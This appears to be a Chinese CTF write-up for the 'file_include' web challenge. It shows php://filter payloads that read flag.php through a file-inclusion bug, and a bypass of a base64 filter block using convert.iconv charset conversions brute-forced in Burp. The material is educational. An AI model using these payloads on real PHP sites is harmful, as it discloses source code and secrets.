WEB:file_include

背景知识

php伪协议

文件包含漏洞

php包含漏洞函数

题目

由题目可知这个是文件包含的题目,先用常用的协议先查看一下

payload

复制代码
?filename=php://filter/read=convert.base64-encode/resource=flag.php

出现了

发现filter,base64被过滤了

尝试其他协议

根据filter的绕过方法,可以使用iconv过滤器进行,这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。

convery.iconv.*的使用有两种方法:

复制代码
convert.iconv.<input-encoding>.<output-encoding> 
convert.iconv.<input-encoding>/<output-encoding>

eg.convert.iconv.UCS-4*.UCS-4BE ---> 将指定的文件从UCS-4*转换为UCS-4BE 输出

这里并不清楚input-encoding和out-encoding具体是什么,可以简单猜想一下尝试,然后用bp抓包进行爆破

先设置尝试的payload

复制代码
?filename=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=flag.php

设置目标

iconv支持的字符集有

复制代码
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

得到flag

参考学习链接:

【愚公系列】2023年05月 攻防世界-Web(file_include)-腾讯云开发者社区-腾讯云

攻防世界-泰山杯-简单的文件包含 -- ZZ的IT部落

相关推荐
敲代码的小吉米几秒前
前端上传el-upload、原生input本地文件pdf格式(纯前端预览本地文件不走后端接口)
前端·javascript·pdf·状态模式
是千千千熠啊2 分钟前
vue使用Fabric和pdfjs完成合同签章及批注
前端·vue.js
2501_9159090621 分钟前
我用 Appuploader绕过 Mac,成功把 iOS 应用上线了 App Store
websocket·网络协议·tcp/ip·http·网络安全·https·udp
九月TTS31 分钟前
TTS-Web-Vue系列:组件逻辑分离与模块化重构
前端·vue.js·重构
我是大头鸟1 小时前
SpringMVC 内容协商处理
前端
Humbunklung1 小时前
Visual Studio 2022 中添加“高级保存选项”及解决编码问题
前端·c++·webview·visual studio
墨水白云2 小时前
nestjs[一文学懂nestjs中对npm功能包的封装,ioredis封装示例]
前端·npm·node.js
满怀10152 小时前
【Vue 3全栈实战】从响应式原理到企业级架构设计
前端·javascript·vue.js·vue
luckywuxn2 小时前
使用gitbook 工具编写接口文档或博客
前端
梅子酱~3 小时前
Vue 学习随笔系列二十三 -- el-date-picker 组件
前端·vue.js·学习